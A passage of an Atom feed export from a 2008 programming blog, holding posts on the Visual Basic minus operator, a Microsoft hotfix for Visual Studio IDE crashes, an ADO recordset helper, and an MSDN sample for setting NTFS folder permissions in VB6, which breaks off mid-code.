second usage shown in the syntax shown previously, the – operator is the unary negation operator for the negative value of an expression. In this sense, the negation consists of reversing the sign of expression1 so that the result is positive if expression1 is negative.&lt;br /&gt;If either expression evaluates to Nothing, the – operator treats it as zero.&lt;br /&gt;Note :&lt;br /&gt;The – operator can be overloaded, which means that a class or structure can redefine its behavior when an operand has the type of that class or structure. If your code uses this operator on such a class or structure, make sure that you understand its redefined behavior. For more information, see Operator Procedures.&lt;br /&gt;&lt;br /&gt;Example&lt;br /&gt;The following example uses the – operator to calculate and return the difference between two numbers, and then to negate a number.&lt;br /&gt;Visual Basic &lt;br /&gt;Dim binaryResult as Double = 459.35 – 334.9&lt;br /&gt;Dim unaryResult as Double = -334.9&lt;br /&gt;&lt;br /&gt;Following the execution of these statements, binaryResult contains 124.45 and unaryResult contains –334.90.&lt;br /&gt;&lt;br /&gt;Reference :&lt;br /&gt;Operator(Visual Basic)-MSDN Library-Visual Studio 2008-Microsoft Document Explorer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6477398532853239781?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6477398532853239781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6477398532853239781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6477398532853239781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6477398532853239781'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/12/operator.html' title='Operator'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2320601141068716836</id><published>2008-12-17T08:12:00.000-08:00</published><updated>2008-12-17T09:48:11.847-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>The Visual Studio IDE crashes when you compile a large Visual Basic solution</title><content type='html'>FIX: The Visual Studio IDE crashes when you compile a large Visual Basic solution&lt;br /&gt;&lt;br /&gt;RESOLUTION&lt;br /&gt;&lt;br /&gt;A supported hotfix is now available from Microsoft, but it is only intended to correct the problem that is described in this article. Only apply it to systems that are experiencing this specific problem. This hotfix may receive additional testing. Therefore, if you are not severely affected by this problem, we recommend that you wait for the next Visual Basic .NET 2003 service pack that contains this hotfix.&lt;br /&gt;&lt;br /&gt;To resolve this problem immediately, contact Microsoft Product Support Services to obtain the hotfix. For a complete list of Microsoft Product Support Services telephone numbers and information about support costs, visit the following Microsoft Web site: &lt;br /&gt;http://support.microsoft.com/contactus/?ws=support&lt;br /&gt;Note In special cases, charges that are ordinarily incurred for support calls may be canceled if a Microsoft Support Professional determines that a specific update will resolve your problem. The usual support costs will apply to additional support questions and issues that do not qualify for the specific update in question. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Prerequisites&lt;br /&gt;You must have Microsoft Visual Basic .NET 2003 installed to apply this hotfix. &lt;br /&gt;Restart Requirement&lt;br /&gt;You do not have to restart the computer after you apply this hotfix. &lt;br /&gt;Hotfix Replacement Information&lt;br /&gt;This hotfix does not replace any other hotfixes. &lt;br /&gt;File Information&lt;br /&gt;The English version of this hotfix has the file attributes (or later file attributes) that are listed in the following table. The dates and times for these files are listed in Coordinated Universal Time (UTC). When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time item in Control Panel. &lt;br /&gt;Visual Studio .NET 2003 32-bit Hotfix&lt;br /&gt;File name File version File size Date Time Platform&lt;br /&gt;bcaut.dll 7.10.5021.0 598,016 06-Oct-2005 05:04 Not Applicable&lt;br /&gt;msvb7.dll 7.10.5021.0 1,441,792 06-Oct-2005 11:12 Not Applicable&lt;br /&gt;STATUS&lt;br /&gt;Microsoft has confirmed that this is a bug in the Microsoft products that are listed in the "Applies to" section.&lt;br /&gt;WORKAROUND&lt;br /&gt;To work around this problem, use the Vbc.exe file to build each project in the Microsoft Visual Basic solution outside the IDE. &lt;br /&gt;MORE INFORMATION&lt;br /&gt;Stack Dump Information&lt;br /&gt;You may receive the following stack dump information when the Visual Studio IDE crash occurs: &lt;br /&gt;0:000&gt; kL&lt;br /&gt;ChildEBP RetAddr  &lt;br /&gt;0012f500 52ab383e kernel32!RaiseException+0x51&lt;br /&gt;0012f548 52a37975 msvb7!PEBuilder::CompileToDisk+0xb2&lt;br /&gt;0012f7c4 52a378e2 msvb7!CompilerProject::FinishCompile+0x3b&lt;br /&gt;0012f7d0 52a379a7 msvb7!CompilerPackage::EndProjectCompilation+0x5d&lt;br /&gt;0012f7e0 77d0612f msvb7!Messages::WndProc+0x65&lt;br /&gt;0012f80c 77d069a5 user32!InternalCallWinProc+0x1b&lt;br /&gt;0012f884 77d06689 user32!UserCallWinProcCheckWow+0x151&lt;br /&gt;0012f8ec 77d0faec user32!DispatchMessageWorker+0x327&lt;br /&gt;0012f8f8 500126c6 user32!DispatchMessageA+0xb&lt;br /&gt;0012f92c 50012714 msenv!CSUIBuilder::PumpMessages+0x63&lt;br /&gt;0012f934 5677bc2a msenv!CSUIBuilder::Tick+0xa&lt;br /&gt;0012f968 5677bbd5 msvbprj!CVsProjBuildableProjectCfg::AdviseTick+0x30&lt;br /&gt;0012f97c 5677bb7a msvbprj!CVsProjBuildableProjectCfg::TickEx+0x68&lt;br /&gt;0012f99c 5677bb44 msvbprj!CVbBldCompiler::TickEx+0x32&lt;br /&gt;0012f9b0 52a37831 msvbprj!CVbBldCompilerEvents::TickEx+0x26&lt;br /&gt;0012f9cc 52a3784c msvb7!CompilerPackage::TickCompile+0x3b&lt;br /&gt;0012f9d8 77d0612f msvb7!Messages::WndProc+0x50&lt;br /&gt;0012fa04 77d069a5 user32!InternalCallWinProc+0x1b&lt;br /&gt;0012fa7c 77d06689 user32!UserCallWinProcCheckWow+0x151&lt;br /&gt;Keywords: kbfix kbqfe kbtshoot kbhotfixserver kbbug KB909085&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2320601141068716836?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2320601141068716836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2320601141068716836' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2320601141068716836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2320601141068716836'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/12/visual-studio-ide-crashes-when-you.html' title='The Visual Studio IDE crashes when you compile a large Visual Basic solution'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3724296986155545955</id><published>2008-12-16T00:05:00.000-08:00</published><updated>2008-12-16T00:07:12.303-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>A basic ADO</title><content type='html'>New to ADO? Worried about ADO? This little subroutine gets round the problems of opening ADO recordsets. Please look elsewhere on this site for info on opening the database itself. If you open a Recordset in your code, ADO expects you to close it before re-opening. But if it's not open you can't close it. Here the solution !!&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;'**************************************&lt;br /&gt;' Name: A basic ADO Open and Requery rou&lt;br /&gt;'     tine&lt;br /&gt;' Description:New to ADO? Worried about &lt;br /&gt;'     ADO? This little subroutine gets round t&lt;br /&gt;'     he problems of opening ADO recordsets. P&lt;br /&gt;'     lease look elsewhere on this site for in&lt;br /&gt;'     fo on opening the database itself.&lt;br /&gt;If you open a Recordset in your code, ADO expects you to close it before re-opening. But if it's not open you can't close it... (Oh My!).&lt;br /&gt;Here's my solution. It requires a public ADODB.Connection - I call it gCn.&lt;br /&gt;The routine will open a new recordset (compatible with Janus GridEx), or refresh it if it's open or if the SQL has changed. Optional ReadOnly argument.&lt;br /&gt;' By: Steve Mann&lt;br /&gt;'&lt;br /&gt;'&lt;br /&gt;' Inputs:rs - an ADO recordset (eg Dim r&lt;br /&gt;'     sMine as New ADODB.Recordset)&lt;br /&gt;szSource - (eg "select * from customers")&lt;br /&gt;Optional - bReadOnly (True for read-only)&lt;br /&gt;'&lt;br /&gt;' Returns:Sets the supplied Recordset.&lt;br /&gt;'&lt;br /&gt;'Assumes:Assumes your public ADO Connect&lt;br /&gt;'     ion object is called gCn, and that the s&lt;br /&gt;'     upplied szSource is a valid SQL statemen&lt;br /&gt;'     t.&lt;br /&gt;'&lt;br /&gt;'Side Effects:If you pass invalid SQL, y&lt;br /&gt;'     ou'll get an error. Ctrl+Break and you'l&lt;br /&gt;'     l be ready to F8 out and see where you w&lt;br /&gt;'     ent wrong.&lt;br /&gt;'This code is copyrighted and has limite&lt;br /&gt;'     d warranties.&lt;br /&gt;'Please see http://www.Planet-Source-Cod&lt;br /&gt;'     e.com/xq/ASP/txtCodeId.11869/lngWId.1/qx&lt;br /&gt;'     /vb/scripts/ShowCode.htm&lt;br /&gt;'for details.&lt;br /&gt;'**************************************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Sub ADO_OpenRs(rs As Recordset, szSource$, Optional bReadOnly = False)&lt;br /&gt;    ' Open or Requery a Recordset.&lt;br /&gt;    On Error GoTo lab_Err&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    If rs.State = adStateClosed Or rs.Source &lt;&gt; szSource Then&lt;br /&gt;        If rs.State &lt;&gt; adStateClosed Then rs.Close&lt;br /&gt;        rs.Open szSource, gCn, adOpenStatic, IIf(bReadOnly, adLockReadOnly, adLockOptimistic)&lt;br /&gt;    Else&lt;br /&gt;        rs.Requery&lt;br /&gt;    End If&lt;br /&gt;    lab_Exit:&lt;br /&gt;    &lt;br /&gt;    Exit Sub&lt;br /&gt;    &lt;br /&gt;    lab_Err:&lt;br /&gt;    &lt;br /&gt;    MsgBox Err.Description&lt;br /&gt;    GoTo lab_Exit&lt;br /&gt;    &lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;ref.&lt;a href="http://pscode.com/vb/scripts/ShowCodeAsText.asp?txtCodeId=11869&amp;lngWId=1"&gt;pscode&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3724296986155545955?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3724296986155545955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3724296986155545955' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3724296986155545955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3724296986155545955'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2008/12/basic-ado.html' title='A basic ADO'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5772136556466638558</id><published>2008-12-10T20:47:00.000-08:00</published><updated>2008-12-10T20:50:08.688-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>API Func 2</title><content type='html'># NTFS Permissions -&gt; AddAce&lt;br /&gt;&lt;br /&gt;'Example from MSDN (Q240176)&lt;br /&gt;'The following code changes permissions on a folder to Add &amp; Read or Change.&lt;br /&gt;'The folder needs to be created on an NTFS partition.&lt;br /&gt;'You need to be an Administrator on the machine in question and have read/write&lt;br /&gt;'(READ_CONTROL and WRITE_DAC) access to the file or directory.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1. Create a Standard EXE project in Visual Basic. Form1 is created by default.&lt;br /&gt;'2. Add two Textboxes (Text1 and Text2) and two CommandButtons (Command1 and Command2) to Form1.&lt;br /&gt;'3. Add the following code to the form and the module&lt;br /&gt;'4. Run the application.&lt;br /&gt;'5. In the Test1 TextBox, enter the name of the folder you want to change permissions on. (D:\test is entered by default.)&lt;br /&gt;' In the Test2 Textbox, enter the name of the user you want to give these permissions to.&lt;br /&gt;'6. Click the Add &amp; Read permissions button to give Add &amp; Read permissions to the folder, or click the Change Permissions&lt;br /&gt;' button to give Change permissions to the folder.&lt;br /&gt;'7. To check the permissions on the folder, right-click Explorer. Select the Properties menu item, and click the Security&lt;br /&gt;' Tab of the Properties dialog box. On the Security tab, click the Permissions button. The specific account should say&lt;br /&gt;' Add &amp; Read or Change depending on which button you clicked in the preceding sample.&lt;br /&gt;&lt;br /&gt;'Add this code to the form&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Dim sUserName As String&lt;br /&gt;Dim sFolderName As String&lt;br /&gt;sUserName = Trim$(CStr(Text2.Text))&lt;br /&gt;sFolderName = Trim$(CStr(Text1.Text))&lt;br /&gt;SetAccess sUserName, sFolderName, GENERIC_READ Or GENERIC_EXECUTE Or DELETE Or GENERIC_WRITE&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Dim sUserName As String&lt;br /&gt;Dim sFolderName As String&lt;br /&gt;sUserName = Trim$(Text2.Text)&lt;br /&gt;sFolderName = Trim$(Text1.Text)&lt;br /&gt;SetAccess sUserName, sFolderName, GENERIC_EXECUTE Or GENERIC_READ&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Text1.Text = "enter folder name"&lt;br /&gt;Text2.Text = "enter username"&lt;br /&gt;Command1.Caption = "Change"&lt;br /&gt;Command2.Caption = "Read &amp;&amp; Add"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'Add this code to a module&lt;br /&gt;&lt;br /&gt;' Constants used within our API calls. Refer to the MSDN for more&lt;br /&gt;' information on how/what these constants are used for.&lt;br /&gt;&lt;br /&gt;' Memory constants used through various memory API calls.&lt;br /&gt;Public Const GMEM_MOVEABLE = &amp;H2&lt;br /&gt;Public Const LMEM_FIXED = &amp;H0&lt;br /&gt;Public Const LMEM_ZEROINIT = &amp;H40&lt;br /&gt;Public Const LPTR = (LMEM_FIXED + LMEM_ZEROINIT)&lt;br /&gt;Public Const GENERIC_READ = &amp;H80000000&lt;br /&gt;Public Const GENERIC_ALL = &amp;H10000000&lt;br /&gt;Public Const GENERIC_EXECUTE = &amp;H20000000&lt;br /&gt;Public Const GENERIC_WRITE = &amp;H40000000&lt;br /&gt;&lt;br /&gt;' The file/security API call constants.&lt;br /&gt;' Refer to the MSDN for more information on how/what these constants&lt;br /&gt;' are used for.&lt;br /&gt;Public Const DACL_SECURITY_INFORMATION = &amp;H4&lt;br /&gt;Public Const SECURITY_DESCRIPTOR_REVISION = 1&lt;br /&gt;Public Const SECURITY_DESCRIPTOR_MIN_LENGTH = 20&lt;br /&gt;Public Const SD_SIZE = (65536 + SECURITY_DESCRIPTOR_MIN_LENGTH)&lt;br /&gt;Public Const ACL_REVISION2 = 2&lt;br /&gt;Public Const ACL_REVISION = 2&lt;br /&gt;Public Const MAXDWORD = &amp;HFFFFFFFF&lt;br /&gt;Public Const SidTypeUser = 1&lt;br /&gt;Public Const AclSizeInformation = 2&lt;br /&gt;&lt;br /&gt;' The following are the inherit flags that go into the AceFlags field&lt;br /&gt;' of an Ace header.&lt;br /&gt;&lt;br /&gt;Public Const OBJECT_INHERIT_ACE = &amp;H1&lt;br /&gt;Public Const CONTAINER_INHERIT_ACE = &amp;H2&lt;br /&gt;Public Const NO_PROPAGATE_INHERIT_ACE = &amp;H4&lt;br /&gt;Public Const INHERIT_ONLY_ACE = &amp;H8&lt;br /&gt;Public Const INHERITED_ACE = &amp;H10&lt;br /&gt;Public Const VALID_INHERIT_FLAGS = &amp;H1F&lt;br /&gt;Public Const DELETE = &amp;H10000&lt;br /&gt;&lt;br /&gt;' Structures used by our API calls.&lt;br /&gt;' Refer to the MSDN for more information on how/what these&lt;br /&gt;' structures are used for.&lt;br /&gt;Type ACE_HEADER&lt;br /&gt;AceType As Byte&lt;br /&gt;AceFlags As Byte&lt;br /&gt;AceSize As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Type ACCESS_DENIED_ACE&lt;br /&gt;Header As ACE_HEADER&lt;br /&gt;Mask As Long&lt;br /&gt;SidStart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACCESS_ALLOWED_ACE&lt;br /&gt;Header As ACE_HEADER&lt;br /&gt;Mask As Long&lt;br /&gt;SidStart As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACL&lt;br /&gt;AclRevision As Byte&lt;br /&gt;Sbz1 As Byte&lt;br /&gt;AclSize As Integer&lt;br /&gt;AceCount As Integer&lt;br /&gt;Sbz2 As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type ACL_SIZE_INFORMATION&lt;br /&gt;AceCount As Long&lt;br /&gt;AclBytesInUse As Long&lt;br /&gt;AclBytesFree As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Type SECURITY_DESCRIPTOR&lt;br /&gt;Revision As Byte&lt;br /&gt;Sbz1 As Byte&lt;br /&gt;Control As Long&lt;br /&gt;Owner As Long&lt;br /&gt;Group As Long&lt;br /&gt;sACL As ACL&lt;br /&gt;Dacl As ACL&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;' API calls used within this sample. Refer to the MSDN for more&lt;br /&gt;' information on how/what these APIs do.&lt;br /&gt;&lt;br /&gt;Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long&lt;br /&gt;Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long&lt;br /&gt;Declare Function LookupAccountName Lib "advapi32.dll" Alias "LookupAccountNameA" (lpSystemName As String, ByVal lpAccountName As String, sid As Any, cbSid As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long&lt;br /&gt;Declare Function InitializeSecurityDescriptor Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal dwRevision As Long) As Long&lt;br /&gt;Declare Function GetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As Byte, lpbDaclPresent As Long, pDacl As Long, lpbDaclDefaulted As Long) As Long&lt;br /&gt;Declare Function GetFileSecurityN Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, ByVal pSecurityDescriptor As Long, ByVal nLength As Long, lpnLengthNeeded As Long) As Long&lt;br /&gt;Declare Function GetFileSecurity Lib "advapi32.dll" Alias "GetFileSecurityA" (ByVal lpFileName As String, ByVal RequestedInformation As Long, pSecurityDescriptor As Byte, ByVal nLength As Long, lpnLengthNeeded As Long) As Long&lt;br /&gt;Declare Function GetAclInformation Lib "advapi32.dll" (ByVal pAcl As Long, pAclInformation As Any, ByVal nAclInformationLength As Long, ByVal dwAclInformationClass As Long) As Long&lt;br /&gt;Public Declare Function EqualSid Lib "advapi32.dll" (pSid1 As Byte, ByVal pSid2 As Long) As Long&lt;br /&gt;Declare Function GetLengthSid Lib "advapi32.dll" (pSid As Any) As Long&lt;br /&gt;Declare Function InitializeAcl Lib "advapi32.dll" (pAcl As Byte, ByVal nAclLength As Long, ByVal dwAclRevision As Long) As Long&lt;br /&gt;Declare Function GetAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceIndex As Long, pace As Any) As Long&lt;br /&gt;Declare Function AddAce Lib "advapi32.dll" (ByVal pAcl As Long, ByVal dwAceRevision As Long, ByVal dwStartingAceIndex As Long, ByVal pAceList As Long, ByVal nAceListLength As Long) As Long&lt;br /&gt;Declare Function AddAccessAllowedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSid As Byte) As Long&lt;br /&gt;Public Declare Function AddAccessDeniedAce Lib "advapi32.dll" (pAcl As Byte, ByVal dwAceRevision As Long, ByVal AccessMask As Long, pSid As Byte) As Long&lt;br /&gt;Declare Function SetSecurityDescriptorDacl Lib "advapi32.dll" (pSecurityDescriptor As SECURITY_DESCRIPTOR, ByVal bDaclPresent As Long, pDacl As Byte, ByVal bDaclDefaulted As Long) As Long&lt;br /&gt;Declare Function SetFileSecurity Lib "advapi32.dll" Alias "SetFileSecurityA" (ByVal lpFileName As String, ByVal SecurityInformation As Long, pSecurityDescriptor As SECURITY_DESCRIPTOR) As Long&lt;br /&gt;Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)&lt;br /&gt;Public Sub SetAccess(sUserName As String, sFileName As String, lMask As Long)&lt;br /&gt;Dim lResult As Long ' Result of various API calls.&lt;br /&gt;Dim I As Integer ' Used in looping.&lt;br /&gt;Dim bUserSid(255) As Byte ' This will contain your SID.&lt;br /&gt;Dim bTempSid(255) As Byte ' This will contain the Sid of each ACE in the ACL .&lt;br /&gt;Dim sSystemName As String ' Name of this computer system.&lt;br /&gt;&lt;br /&gt;Dim lSystemNameLength As Long ' Length of string that contains&lt;br /&gt;' the name of this system.&lt;br /&gt;&lt;br /&gt;Dim lLengthUserName As Long ' Max length of user name.&lt;br /&gt;&lt;br /&gt;'Dim sUserName As String * 255 ' String to hold the current user&lt;br /&gt;' name.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim lUserSID As Long ' Used to hold the SID of the&lt;br /&gt;' current user.&lt;br /&gt;&lt;br /&gt;Dim lTempSid As Long ' Used to hold the SID of each ACE in the ACL&lt;br /&gt;Dim lUserSIDSize As Long ' Size of the SID.&lt;br /&gt;Dim sDomainName As String * 255 ' Domain the user belongs to.&lt;br /&gt;Dim lDomainNameLength As Long ' Length of domain name needed.&lt;br /&gt;&lt;br /&gt;Dim lSIDType As Long ' The type of SID info we are&lt;br /&gt;' getting back.&lt;br /&gt;&lt;br /&gt;Dim sFileSD As SECURITY_DESCRIPTOR ' SD of the file we want.&lt;br /&gt;&lt;br /&gt;Dim bSDBuf() As Byte ' Buffer that holds the security&lt;br /&gt;' descriptor for this file.&lt;br /&gt;&lt;br /&gt;Dim lFileSDSize As Long ' Size of the File SD.&lt;br /&gt;Dim lSizeNeeded As Long ' Size needed for SD for file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dim sNewSD As SECURITY_DESCRIPTOR ' New security descriptor.&lt;br /&gt;&lt;br /&gt;Dim sACL As ACL ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim lDaclPresent As Long ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim lDaclDefaulted As Long ' Used in grabbing the DACL from&lt;br /&gt;' the File SD.&lt;br /&gt;&lt;br /&gt;Dim sACLInfo As ACL_SIZE_INFORMATION ' Used in grabbing the ACL&lt;br /&gt;' from the File SD.&lt;br /&gt;&lt;br /&gt;Dim lACLSize As Long ' Size of the ACL structure used&lt;br /&gt;' to get the ACL from the File SD.&lt;br /&gt;&lt;br /&gt;Dim pAcl As Long ' Current ACL for this file.&lt;br /&gt;Dim lNewACLSize As Long ' Size of new ACL to create.&lt;br /&gt;Dim bNewACL() As Byte ' Buffer to hold new ACL.&lt;br /&gt;&lt;br /&gt;Dim sCurrentACE As ACCESS_ALLOWED_ACE ' Current ACE.&lt;br /&gt;Dim pCurrentAce As Long ' Our current ACE.&lt;br /&gt;&lt;br /&gt;Dim nRecordNumber As Long&lt;br /&gt;&lt;br /&gt;' Get the SID of the user. (Refer to the MSDN for more information on SIDs&lt;br /&gt;' and their function/purpose in the operating system.) Get the SID of this&lt;br /&gt;' user by using the LookupAccountName API. In order to use the SID&lt;br /&gt;' of the current user account, call the LookupAccountName API&lt;br /&gt;' twice. The first time is to get the required sizes of the SID&lt;br /&gt;' and the DomainName string. The second call is to actually get&lt;br /&gt;' the desired information.&lt;br /&gt;&lt;br /&gt;lResult = LookupAccountName(vbNullString, sUserName, _&lt;br /&gt;bUserSid(0), 255, sDomainName, lDomainNameLength, _&lt;br /&gt;lSIDType)&lt;br /&gt;&lt;br /&gt;' Now set the sDomainName string buffer to its proper size before&lt;br /&gt;' calling the API again.&lt;br /&gt;sDomainName = Space(lDomainNameLength)&lt;br /&gt;&lt;br /&gt;' Call the LookupAccountName again to get the actual SID for user.&lt;br /&gt;lResult = LookupAccountName(vbNullString, sUserName, _&lt;br /&gt;bUserSid(0), 255, sDomainName, lDomainNameLength, _&lt;br /&gt;lSIDType)&lt;br /&gt;&lt;br /&gt;' Return value of zero means the call to LookupAccountName failed;&lt;br /&gt;' test for this before you continue.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Lookup the Current User Account: " _&lt;br /&gt;&amp; sUserName&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You now have the SID for the user who is logged on.&lt;br /&gt;' The SID is of interest since it will get the security descriptor&lt;br /&gt;' for the file that the user is interested in.&lt;br /&gt;' The GetFileSecurity API will retrieve the Security Descriptor&lt;br /&gt;' for the file. However, you must call this API twice: once to get&lt;br /&gt;' the proper size for the Security Descriptor and once to get the&lt;br /&gt;' actual Security Descriptor information.&lt;br /&gt;&lt;br /&gt;lResult = GetFileSecurityN(sFileName, DACL_SECURITY_INFORMATION, _&lt;br /&gt;0, 0, lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' Redimension the Security Descriptor buffer to the proper size.&lt;br /&gt;ReDim bSDBuf(lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' Now get the actual Security Descriptor for the file.&lt;br /&gt;lResult = GetFileSecurity(sFileName, DACL_SECURITY_INFORMATION, _&lt;br /&gt;bSDBuf(0), lSizeNeeded, lSizeNeeded)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get the File Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Call InitializeSecurityDescriptor to build a new SD for the&lt;br /&gt;' file.&lt;br /&gt;lResult = InitializeSecurityDescriptor(sNewSD, _&lt;br /&gt;SECURITY_DESCRIPTOR_REVISION)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Initialize New Security Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You now have the file's SD and a new Security Descriptor&lt;br /&gt;' that will replace the current one. Next, pull the DACL from&lt;br /&gt;' the SD. To do so, call the GetSecurityDescriptorDacl API&lt;br /&gt;' function.&lt;br /&gt;&lt;br /&gt;lResult = GetSecurityDescriptorDacl(bSDBuf(0), lDaclPresent, _&lt;br /&gt;pAcl, lDaclDefaulted)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get DACL from File Security " _&lt;br /&gt;&amp; "Descriptor"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' You have the file's SD, and want to now pull the ACL from the&lt;br /&gt;' SD. To do so, call the GetACLInformation API function.&lt;br /&gt;' See if ACL exists for this file before getting the ACL&lt;br /&gt;' information.&lt;br /&gt;If (lDaclPresent = False) Then&lt;br /&gt;MsgBox "Error: No ACL Information Available for this File"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;' Attempt to get the ACL from the file's Security Descriptor.&lt;br /&gt;lResult = GetAclInformation(pAcl, sACLInfo, Len(sACLInfo), 2&amp;)&lt;br /&gt;&lt;br /&gt;' A return code of zero means the call failed; test for this&lt;br /&gt;' before continuing.&lt;br /&gt;If (lResult = 0) Then&lt;br /&gt;MsgBox "Error: Unable to Get ACL from File Security Descriptor"&lt;br 